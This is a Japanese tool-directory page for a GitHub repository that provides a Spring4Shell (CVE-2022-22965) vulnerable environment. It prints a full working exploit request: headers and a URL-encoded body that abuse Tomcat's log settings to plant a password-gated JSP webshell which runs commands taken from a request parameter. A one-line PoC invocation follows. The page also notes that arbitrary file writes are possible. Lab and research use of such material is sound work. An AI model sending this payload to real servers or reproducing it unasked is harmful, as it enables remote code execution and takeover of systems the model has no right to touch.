Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Spring4Shell — CVE-2022-22965 のための Spring rce 環境 | Kitploit
ツール/GitHubGitHub/dbgee/spring4shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubdbgee/spring4shell

Spring4Shell

CVE-2022-22965 のための Spring rce 環境

リポジトリを見る
113年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Spring RCE CVE-2022-22965

脆弱性環境

環境情報

  • springboot
  • jdk11
  • tomcat9.0.30

payload

リクエストヘッダー設定

root@kitploit:~
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",

リクエストボディデータ

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
ツールをダウンロード

上記の内容を送信すると、ターゲットシステムに webshell が正常に書き込まれます。通常は webapps\ROOT\myshell.jsp パスに配置されます。

パスが制御可能な場合、payload を変更することで、任意のファイルを書き込むことができます。
主に Tomcat のログ記録形式を変更し、ログとしてシェルを書き込みます。

PoC の使用

簡単な再現方法として、以下の PoC を直接使用してください。

root@kitploit:~
python3 poc.py http://test.com/hello